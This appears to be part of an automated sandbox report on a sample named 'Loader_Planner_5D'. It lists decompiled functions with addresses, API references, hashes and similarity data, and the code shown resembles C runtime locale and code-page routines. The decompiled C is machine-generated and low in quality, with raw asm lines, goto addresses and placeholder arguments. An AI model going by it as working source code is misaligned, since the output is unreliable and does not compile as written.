0x7ff71065b75e
0x7ff71065b761
0x7ff71065b767
0x7ff71065b776
0x7ff71065b781
0x7ff71065b786
0x7ff71065b789
0x7ff71065b796
0x7ff71065b7a6
0x7ff71065b7ae
0x7ff71065b7c4
0x7ff71065b7d9
0x7ff71065b7db
0x7ff71065b7dd
0x7ff71065b7e1
0x7ff71065b7e7
0x7ff71065b7e9
0x7ff71065b7ed
0x7ff71065b7ef
0x7ff71065b7f5
0x7ff71065b802
0x7ff71065b807
0x7ff71065b80e
0x7ff71065b814
0x7ff71065b81a
0x7ff71065b82b
0x7ff71065b83b
0x7ff71065b83d
0x7ff71065b845
0x7ff71065b847
0x7ff71065b854
0x7ff71065b856
0x7ff71065b885

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

Part of subcall function 00007FF710650904: FlsSetValue.KERNEL32 ref: 00007FF710650949

GetLocaleInfoW.KERNEL32 ref: 00007FF71065B6A8

Part of subcall function 00007FF71065EF4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71065EF69

GetLocaleInfoW.KERNEL32 ref: 00007FF71065B6F1

Part of subcall function 00007FF71065EF4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71065EFC2

GetLocaleInfoW.KERNEL32 ref: 00007FF71065B7BC

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: 527bc874ed3113e65ceb54aa23ee2b10c0d7df40ed7d482c68389fac083b8e9f
Instruction ID: c6c5f5ce88840e0b00a8645c1c2d5ea4bb3d34fd44c257c8ed04a6caf93c0d48
Opcode Fuzzy Hash: 527bc874ed3113e65ceb54aa23ee2b10c0d7df40ed7d482c68389fac083b8e9f
Instruction Fuzzy Hash: 4761D272A0890286EB34AF11D540279B3B6FB887A4F84A135D79E83791DF3CF4598B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71062B790 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 155
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF71062B790(signed long long __rcx, signed long long __rdx, long long* __r8, long long __r9) {
				void* __rbx;
				void* __rdi;
				void* __rbp;
				signed int _t55;
				signed long long _t79;
				signed long long _t80;
				long long _t85;
				intOrPtr _t96;
				long long _t103;
				long long* _t113;
				void* _t115;
				void* _t116;
				signed long long _t117;
				void* _t123;
				long long _t124;
				long long _t125;

				_t1 = _t116 - 0x20; // 0x2aaaaaaaaaaaaa23
				_t115 = _t1;
				_t117 = _t116 - 0x120;
				_t79 =  *0x10689010; // 0xafe3859a1ce3
				_t80 = _t79 ^ _t117;
				 *(_t115 + 0x10) = _t80;
				_t124 = __r9;
				_t113 = __r8;
				_t125 = __rcx;
				_t85 =  *((intOrPtr*)(__r9));
				if (_t85 != 0) goto 0x1062b7d0;
				goto 0x1062b974;
				r15b = 0;
				r8d = 0xe8;
				E00007FF77FF7106441A0();
				_t103 = __r9 + 8;
				r12d = 0;
				 *((long long*)(_t117 + 0x28)) = __r9;
				asm("xorps xmm0, xmm0");
				asm("movdqa [esp+0x30], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [esp+0x40], xmm1");
				asm("movdqa [esp+0x50], xmm0");
				 *((long long*)(_t117 + 0x68)) = __r9;
				asm("movdqa [esp+0x70], xmm0");
				asm("movdqa [ebp-0x80], xmm1");
				asm("movdqa [ebp-0x70], xmm0");
				asm("movdqa [ebp-0x60], xmm0");
				 *((long long*)(_t115 - 0x50)) = __r9;
				 *((long long*)(_t115 - 0x40)) = __rdx;
				 *(_t115 - 0x38) = __rcx;
				 *((long long*)(_t115 - 0x30)) = _t85;
				 *((intOrPtr*)(_t115 - 0x28)) =  *((intOrPtr*)(_t85 + 0x20));
				 *((intOrPtr*)(_t115 - 0x24)) = r12d;
				 *((intOrPtr*)(_t115 - 0x20)) = r12b;
				 *((intOrPtr*)(_t115 - 0x1c)) =  *((intOrPtr*)(_t85 + 0x28));
				 *(_t115 - 0x18) = 0 >> 3;
				 *((long long*)(_t115 - 0x10)) = _t103;
				if (_t103 == 0) goto 0x1062b86a;
				_t21 = _t115 - 0x60; // 0x2aaaaaaaaaaaa9c3
				E00007FF77FF71062EEA0(_t85, _t21, _t103, __r8, _t115);
				_t22 = _t117 + 0x20; // 0x2aaaaaaaaaaaab23
				E00007FF77FF71062CF50(_t85, _t22, _t113, _t115, _t123);
				if (0 >> 3 != 0) goto 0x1062b8f6;
				if (_t125 == __rdx) goto 0x1062b916;
				asm("btr eax, 0xd");
				asm("bts eax, 0x8");
				r9d = 0;
				E00007FF77FF71062CC60();
				if (_t80 == __rdx) goto 0x1062b8e1;
				 *(_t115 - 0x38) = _t80;
				_t28 = _t117 + 0x20; // 0x2aaaaaaaaaaaab23
				E00007FF77FF71062CF50(_t80, _t28, _t113, _t115, _t123);
				if (0 >> 3 != 0) goto 0x1062b8f6;
				r9d = 0;
				E00007FF77FF71062CC60();
				if (_t80 != __rdx) goto 0x1062b8b0;
				 *(_t115 - 0x38) = __rdx;
				_t32 = _t117 + 0x20; // 0x2aaaaaaaaaaaab23
				_t55 = E00007FF77FF71062CF50(_t80, _t32, _t113, _t115, _t123);
				if (0 >> 3 == 0) goto 0x1062b916;
				r15b = 1;
				if (_t113 == 0) goto 0x1062b916;
				 *_t113 =  *((intOrPtr*)(_t115 + 0x88));
				 *((long long*)(_t113 + 0x28)) = _t125;
				 *((char*)(_t113 + 0x38)) = _t55 & 0xffffff00 | _t125 !=  *((intOrPtr*)(_t113 + 0x30));
				_t96 =  *((intOrPtr*)(_t115 - 0x60));
				if (_t96 == 0) goto 0x1062b95c;
				if (( *((intOrPtr*)(_t115 - 0x50)) - _t96 & 0xfffffff0) - 0x1000 < 0) goto 0x1062b94b;
				if (_t96 -  *((intOrPtr*)(_t96 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1062b992;
				E00007FF77FF710641E10(_t96 -  *((intOrPtr*)(_t96 - 8)) + 0xfffffff8,  *((intOrPtr*)(_t96 - 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqa [ebp-0x60], xmm0");
				 *((long long*)(_t115 - 0x50)) = _t124;
				_t43 = _t117 + 0x60; // 0x2aaaaaaaaaaaab63
				E00007FF77FF71062BED0(_t80, _t43);
				_t44 = _t117 + 0x20; // 0x2aaaaaaaaaaaab23
				E00007FF77FF71062BED0(_t80, _t44);
				return E00007FF77FF710641DF0(r15b & 0xffffffff,  *((intOrPtr*)(_t85 + 0x28)),  *(_t115 + 0x10) ^ _t117);
			}

0x7ff71062b79b
0x7ff71062b79b
0x7ff71062b7a0
0x7ff71062b7a7
0x7ff71062b7ae
0x7ff71062b7b1
0x7ff71062b7b5
0x7ff71062b7b8
0x7ff71062b7be
0x7ff71062b7c1
0x7ff71062b7c7
0x7ff71062b7cb
0x7ff71062b7d0
0x7ff71062b7d5
0x7ff71062b7e0
0x7ff71062b7eb
0x7ff71062b7f0
0x7ff71062b7f3
0x7ff71062b7f8
0x7ff71062b7fb
0x7ff71062b801
0x7ff71062b804
0x7ff71062b80a
0x7ff71062b810
0x7ff71062b815
0x7ff71062b81b
0x7ff71062b820
0x7ff71062b825
0x7ff71062b82a
0x7ff71062b82e
0x7ff71062b832
0x7ff71062b836
0x7ff71062b83a
0x7ff71062b83d
0x7ff71062b841
0x7ff71062b845
0x7ff71062b851
0x7ff71062b854
0x7ff71062b85e
0x7ff71062b860
0x7ff71062b864
0x7ff71062b86d
0x7ff71062b872
0x7ff71062b879
0x7ff71062b87e
0x7ff71062b887
0x7ff71062b88b
0x7ff71062b896
0x7ff71062b8a1
0x7ff71062b8ac
0x7ff71062b8b0
0x7ff71062b8b7
0x7ff71062b8bc
0x7ff71062b8c3
0x7ff71062b8c9
0x7ff71062b8d4
0x7ff71062b8df
0x7ff71062b8e1
0x7ff71062b8e8
0x7ff71062b8ed
0x7ff71062b8f4
0x7ff71062b8f6
0x7ff71062b8fc
0x7ff71062b905
0x7ff71062b908
0x7ff71062b913
0x7ff71062b916
0x7ff71062b91d
0x7ff71062b934
0x7ff71062b949
0x7ff71062b94b
0x7ff71062b950
0x7ff71062b953
0x7ff71062b958
0x7ff71062b95c
0x7ff71062b961
0x7ff71062b966
0x7ff71062b96b
0x7ff71062b991

Strings

ios_base::badbit set, xrefs: 00007FF71062B792

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID: ios_base::badbit set
API String ID: 0-3882152299
Opcode ID: d1584aea1d30525b104a8881db5081d43c5ff20f16517134dad727bc302bc884
Instruction ID: c8d0544b67b4e8ac2cec8ad5f83990d2d5bfa7f08a2e0bcfa34c534d9988553d
Opcode Fuzzy Hash: d1584aea1d30525b104a8881db5081d43c5ff20f16517134dad727bc302bc884
Instruction Fuzzy Hash: C551DF22E14B9189EB10EB70E9412ADB3B2FB997B4F541235EE9C57B89DF38E544C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710652874 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E00007FF77FF710652874(void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r8, long long _a8, long long _a16, long long _a24) {
				void* _t11;
				void* _t22;
				void* _t33;

				_t23 = __rbx;
				_t22 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t11 = r9d;
				_t33 = __rcx;
				E00007FF77FF710652558(7, __rbx, "GetLocaleInfoEx", __rsi, 0x1066ea30, "GetLocaleInfoEx");
				if (_t22 == 0) goto 0x106528d4;
				r9d = _t11;
				 *0x1066c3d8();
				goto 0x106528ee;
				E00007FF77FF710652BB4(0, 0, _t22, _t23, _t33);
				r9d = _t11;
				return GetLocaleInfoW(??, ??, ??, ??);
			}

0x7ff710652874
0x7ff710652874
0x7ff710652874
0x7ff710652879
0x7ff71065287e
0x7ff710652888
0x7ff710652897
0x7ff7106528ad
0x7ff7106528b5
0x7ff7106528c1
0x7ff7106528cc
0x7ff7106528d2
0x7ff7106528d9
0x7ff7106528e0
0x7ff710652902

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF71064F2D6), ref: 00007FF7106528E8

Strings

GetLocaleInfoEx, xrefs: 00007FF710652890, 00007FF7106528A1

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: ecdc143f4dcbc32be5e34b8178d6abfe0347496e7cb22319d5c13a93c90fdbe7
Instruction ID: 655303ab1d3bf0a0dd5aafcb3da9b2b5266e2e20723be16a3fa6c93373ed9f1a
Opcode Fuzzy Hash: ecdc143f4dcbc32be5e34b8178d6abfe0347496e7cb22319d5c13a93c90fdbe7
Instruction Fuzzy Hash: 3D016725F08E8285EB04AB96B8400A6E772BF85BF0F944036EE4D97B55CE3CF9498750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710655FD8 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF710656227
RaiseException.KERNEL32 ref: 00007FF710656238

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: b576dc35261f8403503d90f87557b70eb8f5df772abd51559ef905f503e7e47c
Instruction ID: 767e5307eb536092cbe37c18ac40b30897e4001a1bdcdbbc601f4839b538abde
Opcode Fuzzy Hash: b576dc35261f8403503d90f87557b70eb8f5df772abd51559ef905f503e7e47c
Instruction Fuzzy Hash: 2BB17B73A00F858BEB15CF2DD882368B7B1F748B98F548925EA5D877A4CB39E815C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065EBE4 Relevance: 3.2, APIs: 2, Instructions: 203
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00007FF77FF71065EBE4(void* __ecx, void* __edx, void* __rcx, void* __r8, void* __r10, signed long long* _a40) {
				signed int _v72;
				char _v200;
				signed int _v216;
				intOrPtr _v232;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t14;
				intOrPtr _t41;
				intOrPtr _t45;
				signed long long _t60;
				signed long long _t61;
				signed long long _t62;
				void* _t63;
				void* _t64;
				signed long long _t65;
				signed long long _t85;
				signed long long* _t86;
				void* _t87;
				signed long long _t88;
				void* _t98;

				_t96 = __r10;
				_t60 =  *0x10689010; // 0xafe3859a1ce3
				_t61 = _t60 ^ _t88;
				_v72 = _t61;
				_t86 = _a40;
				_t45 = r9d;
				_t98 = __r8;
				 *_t86 = _t85;
				if (__edx != 1) goto 0x1065ed01;
				_v232 = 0x80;
				r8d = _t45;
				_t14 = E00007FF77FF71065EA60(__ecx, __edx - 1, _t63, __rcx, __r8, _t85, _t86, __r8,  &_v200, __r10);
				_t64 = _t14;
				if (_t14 == 0) goto 0x1065ec89;
				E00007FF77FF710652430(_t14, _t64, __r8, __r10);
				 *_t86 = _t61;
				E00007FF77FF710651DC8(_t61, _t64);
				if ( *_t86 == _t85) goto 0x1065ed72;
				_t6 = _t64 - 1; // -1
				if (E00007FF77FF71065E060(_t61, _t64,  *_t86, _t64, _t86,  &_v200, _t6) != 0) goto 0x1065ed97;
				goto 0x1065ed75;
				if (GetLastError() != 0x7a) goto 0x1065ed72;
				r9d = 0;
				_v232 = 0;
				r8d = _t45;
				if (E00007FF77FF71065EA60(0, GetLastError() - 0x7a, _t64, __rcx, _t98, _t85, _t86,  &_v200, _t6, __r10) == 0) goto 0x1065ed72;
				E00007FF77FF710652430(_t21, _t21, _t98, __r10);
				_t65 = _t61;
				if (_t61 == 0) goto 0x1065ecf2;
				_v232 = r15d;
				r8d = _t45;
				if (E00007FF77FF71065EA60(0, _t61, _t65, __rcx, _t98, _t85, _t86,  &_v200, _t61, __r10) == 0) goto 0x1065ecf2;
				_t62 = _t65;
				 *_t86 = _t62;
				goto 0x1065ecf5;
				E00007FF77FF710651DC8(_t62, _t85);
				goto 0x1065ed75;
				if (1 != 2) goto 0x1065ed45;
				r9d = 0;
				r8d = 0;
				if (E00007FF77FF710652874(_t45, 1 - 2, _t62, _t85, _t98, _t86, _t87,  &_v200) == 0) goto 0x1065ed72;
				E00007FF77FF710652430(_t26, _t26, _t98, _t96);
				if (_t62 == 0) goto 0x1065ecf2;
				r9d = r15d;
				_t41 = _t45;
				E00007FF77FF710652874(_t41, _t62, _t62, _t62, _t98, _t86, _t87, _t62);
				goto 0x1065ece3;
				if (_t41 != 0) goto 0x1065ed72;
				asm("bts ebp, 0x1d");
				_v216 = 0xffffffff;
				r9d = 2;
				if (E00007FF77FF710652874(_t45, _t41, _t62, _t62, _t98, _t86, _t87,  &_v216) == 0) goto 0x1065ed72;
				 *_t86 = _v216;
				goto 0x1065ec82;
				return E00007FF77FF710641DF0(_v216 | 0xffffffff, 0, _v72 ^ _t88);
			}

0x7ff71065ebe4
0x7ff71065ebf6
0x7ff71065ebfd
0x7ff71065ec00
0x7ff71065ec08
0x7ff71065ec12
0x7ff71065ec15
0x7ff71065ec1b
0x7ff71065ec21
0x7ff71065ec2c
0x7ff71065ec34
0x7ff71065ec3a
0x7ff71065ec3f
0x7ff71065ec44
0x7ff71065ec4c
0x7ff71065ec53
0x7ff71065ec56
0x7ff71065ec5e
0x7ff71065ec67
0x7ff71065ec7c
0x7ff71065ec84
0x7ff71065ec92
0x7ff71065ec98
0x7ff71065ec9b
0x7ff71065ec9f
0x7ff71065ecb2
0x7ff71065ecc0
0x7ff71065ecc5
0x7ff71065eccb
0x7ff71065ecd0
0x7ff71065ecd5
0x7ff71065ece5
0x7ff71065ece7
0x7ff71065eced
0x7ff71065ecf0
0x7ff71065ecf8
0x7ff71065ecff
0x7ff71065ed08
0x7ff71065ed0a
0x7ff71065ed0d
0x7ff71065ed1f
0x7ff71065ed26
0x7ff71065ed31
0x7ff71065ed33
0x7ff71065ed39
0x7ff71065ed3e
0x7ff71065ed43
0x7ff71065ed47
0x7ff71065ed49
0x7ff71065ed4d
0x7ff71065ed58
0x7ff71065ed65
0x7ff71065ed6b
0x7ff71065ed6d
0x7ff71065ed96

APIs

GetLastError.KERNEL32 ref: 00007FF71065EC89
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71065EE3B

Part of subcall function 00007FF710652430: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF710650ADE,?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000), ref: 00007FF710652485

Part of subcall function 00007FF710651DC8: RtlReleasePrivilege.NTDLL(?,?,03D7742583480000,00007FF710659DBA,?,?,?,00007FF71065A137,?,?,00000000,00007FF71065A81C,?,?,00007FF71064E412,00007FF71065A74F), ref: 00007FF710651DDE
Part of subcall function 00007FF710651DC8: GetLastError.KERNEL32(?,?,03D7742583480000,00007FF710659DBA,?,?,?,00007FF71065A137,?,?,00000000,00007FF71065A81C,?,?,00007FF71064E412,00007FF71065A74F), ref: 00007FF710651DE8

Part of subcall function 00007FF71065E060: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71065E093

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo$AllocateHeapPrivilegeRelease
String ID:
API String ID: 1892587287-0
Opcode ID: 7f58e1d91037d8616a3b4644e08eb47b7cca9a4033ec327d757872981a53eebc
Instruction ID: 4c4e1e61a96325b78e5123a9554d7fe95b29df1319598e2c5a43fb304fc354f9
Opcode Fuzzy Hash: 7f58e1d91037d8616a3b4644e08eb47b7cca9a4033ec327d757872981a53eebc
Instruction Fuzzy Hash: 74611B21B08E8341EF24AF26A84167AF2B2BF45BE0F849535EE4D47785EE3CF5098710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710654EC0 Relevance: 2.6, Strings: 2, Instructions: 144
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF710654EC0(void* __ebp, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32, long long _a64) {
				void* _t17;
				long long _t32;
				void* _t42;
				void* _t45;
				void* _t46;

				_t46 = _t42;
				 *((long long*)(_t46 + 8)) = __rbx;
				 *((long long*)(_t46 + 0x10)) = __rbp;
				 *((long long*)(_t46 + 0x18)) = __rsi;
				 *((long long*)(_t46 + 0x20)) = __rdi;
				r13b = r9b;
				_t16 =  >  ? __ebp : 0;
				_t17 = ( >  ? __ebp : 0) + 9;
				if (__rdx - __rax > 0) goto 0x10654f48;
				_t32 = _a64;
				 *((long long*)(_t46 - 0x20)) = _t32;
				r9d = 0;
				 *(_t46 - 0x28) =  *(_t46 - 0x28) & 0x00000000;
				r8d = 0;
				 *((char*)(_t32 + 0x30)) = 1;
				 *((intOrPtr*)(_t32 + 0x2c)) = 0x22;
				E00007FF77FF71064A0C8(__rax, __rbx, _t32, __rdx, __rsi, r8d, _t45);
				return 0x22;
			}

0x7ff710654ec0
0x7ff710654ec3
0x7ff710654ec7
0x7ff710654ecb
0x7ff710654ecf
0x7ff710654ee5
0x7ff710654eee
0x7ff710654ef1
0x7ff710654ef9
0x7ff710654efb
0x7ff710654f08
0x7ff710654f0c
0x7ff710654f0f
0x7ff710654f14
0x7ff710654f19
0x7ff710654f1d
0x7ff710654f22
0x7ff710654f47

Strings

gfff, xrefs: 00007FF71065504A
e+000, xrefs: 00007FF710654FCD

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 3cb231f954b3a510c22031609eb70f8a4cd40062d39fdf6cb8756a793ec7ba0f
Instruction ID: 1d5e34b004adf97018a0640788afcce1a4273abffb73715e72f6ad5ddc7af510
Opcode Fuzzy Hash: 3cb231f954b3a510c22031609eb70f8a4cd40062d39fdf6cb8756a793ec7ba0f
Instruction Fuzzy Hash: 6C514C62B18AC546E7249E35D914769F7A2E744BE4F888231CB988BBC5CE3DE4498710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710658DA8 Relevance: 1.9, APIs: 1, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 36%

			E00007FF77FF710658DA8(signed long long __rbx, long long __rcx, void* __rdx, long long __rsi, void* __r10) {
				void* __rdi;
				signed int _t134;
				signed int _t155;
				void* _t172;
				signed int _t188;
				signed int _t194;
				void* _t199;
				signed long long _t237;
				signed long long _t238;
				signed int _t239;
				long long _t240;
				signed long long _t241;
				long long _t243;
				long long _t252;
				signed char* _t260;
				long long _t264;
				void* _t266;
				signed long long _t279;
				void* _t282;
				signed char* _t289;
				long long _t294;
				long long _t296;
				signed long long _t297;
				void* _t299;
				signed long long _t300;
				char* _t304;
				void* _t313;
				signed long long _t316;
				signed long long _t319;
				void* _t320;
				signed long long _t323;
				int _t325;
				intOrPtr* _t326;

				_t310 = __r10;
				_t294 = __rsi;
				_t282 = __rdx;
				_t252 = __rbx;
				_t313 = _t299;
				 *((long long*)(_t313 + 0x10)) = __rbx;
				 *((long long*)(_t313 + 0x18)) = _t296;
				 *((long long*)(_t313 + 0x20)) = __rsi;
				_t300 = _t299 - 0xa0;
				_t237 =  *0x10689010; // 0xafe3859a1ce3
				_t238 = _t237 ^ _t300;
				 *(_t300 + 0x98) = _t238;
				 *((long long*)(_t313 - 0x58)) = __rcx;
				 *((long long*)(_t313 - 0x50)) = __rbx;
				r13d = 0;
				r14d = 0;
				r12d = 0;
				if ( *((intOrPtr*)(__rcx + 0x138)) == 0) goto 0x1065938b;
				_t326 = __rcx + 0xc;
				 *(_t300 + 0x58) = __rbx;
				_t10 = _t252 + 1; // 0x1
				_t199 = _t10;
				if ( *_t326 != 0) goto 0x10658e30;
				 *((long long*)(_t300 + 0x20)) = _t326;
				r9d = 0x1004;
				if (E00007FF77FF71065EBE4(_t172, 0, _t313 - 0x58,  *((intOrPtr*)(__rcx + 0x138)), __r10) != 0) goto 0x1065935b;
				_t256 = __rsi;
				E00007FF77FF710652430(_t120, __rsi, _t282, __r10);
				 *(_t300 + 0x58) = _t238;
				E00007FF77FF710652430(E00007FF77FF710651DC8(_t238, __rsi), __rsi, _t282, __r10);
				_t319 = _t238;
				E00007FF77FF710652430(E00007FF77FF710651DC8(_t238, __rsi), _t256, __rsi, __r10);
				_t323 = _t238;
				E00007FF77FF710652430(E00007FF77FF710651DC8(_t238, _t256), _t256, __rsi, _t310);
				_t297 = _t238;
				E00007FF77FF710652430(E00007FF77FF710651DC8(_t238, _t256), _t256, __rsi, _t310);
				_t316 = _t238;
				E00007FF77FF710651DC8(_t238, _t256);
				if ( *(_t300 + 0x58) == __rbx) goto 0x1065935b;
				if (_t319 == 0) goto 0x1065935b;
				if (_t316 == 0) goto 0x1065935b;
				if (_t323 == 0) goto 0x1065935b;
				if (_t297 == 0) goto 0x1065935b;
				 *_t316 = 0;
				if (0 + _t199 - 0x100 < 0) goto 0x10658ed7;
				if (GetCPInfo(_t325) == 0) goto 0x1065935b;
				if ( *(_t300 + 0x80) - 5 > 0) goto 0x1065935b;
				_t134 =  *(_t300 + 0x80) & 0x0000ffff;
				 *(_t300 + 0x50) = _t134;
				if (_t134 - _t199 <= 0) goto 0x10658f77;
				if ( *_t326 != 0xfde9) goto 0x10658f3c;
				r8d = 0x80;
				E00007FF77FF7106441A0();
				goto 0x10658f77;
				_t260 = _t300 + 0x86;
				if ( *((intOrPtr*)(_t300 + 0x86)) == 0) goto 0x10658f77;
				if (_t260[1] == 0) goto 0x10658f77;
				_t194 =  *_t260 & 0x000000ff;
				if (_t194 - (_t260[1] & 0x000000ff) > 0) goto 0x10658f6f;
				_t239 = _t194;
				 *((char*)(_t239 + _t316)) = 0x20;
				if (_t194 + _t199 - (_t260[1] & 0x000000ff) <= 0) goto 0x10658f5d;
				if (_t260[2] != 0) goto 0x10658f4d;
				_t26 = _t323 + 0x81; // 0x81
				_t28 = _t316 + 1; // 0x1
				 *((intOrPtr*)(_t300 + 0x40)) = 0;
				 *((intOrPtr*)(_t300 + 0x38)) =  *_t326;
				 *((intOrPtr*)(_t300 + 0x30)) = 0xff;
				 *((long long*)(_t300 + 0x28)) = _t26;
				 *((intOrPtr*)(_t300 + 0x20)) = 0xff;
				_t34 = _t239 + 1; // 0x100
				r8d = _t34;
				if (E00007FF77FF71065E974(0, _t194 + _t199, _t199, _t260[2], _t239, __rbx, _t26,  *((intOrPtr*)(__rcx + 0x138)), __rsi, _t28, _t310) == 0) goto 0x1065935b;
				_t35 = _t297 + 0x81; // 0x81
				_t37 = _t316 + 1; // 0x1
				 *((intOrPtr*)(_t300 + 0x40)) = 0;
				r8d = 0x200;
				 *((intOrPtr*)(_t300 + 0x38)) =  *_t326;
				 *((intOrPtr*)(_t300 + 0x30)) = 0xff;
				 *((long long*)(_t300 + 0x28)) = _t35;
				 *((intOrPtr*)(_t300 + 0x20)) = 0xff;
				if (E00007FF77FF71065E974(0, _t194 + _t199, _t199, E00007FF77FF71065E974(0, _t194 + _t199, _t199, _t260[2], _t239, __rbx, _t26,  *((intOrPtr*)(__rcx + 0x138)), __rsi, _t28, _t310), _t239, _t252, _t35,  *((intOrPtr*)(__rcx + 0x138)), _t294, _t37, _t310) == 0) goto 0x1065935b;
				_t43 = _t319 + 0x100; // 0x100
				_t264 = _t43;
				 *((intOrPtr*)(_t300 + 0x30)) = 0;
				r9d = 0x100;
				 *((intOrPtr*)(_t300 + 0x28)) =  *_t326;
				 *((long long*)(_t300 + 0x60)) = _t264;
				 *((long long*)(_t300 + 0x20)) = _t264;
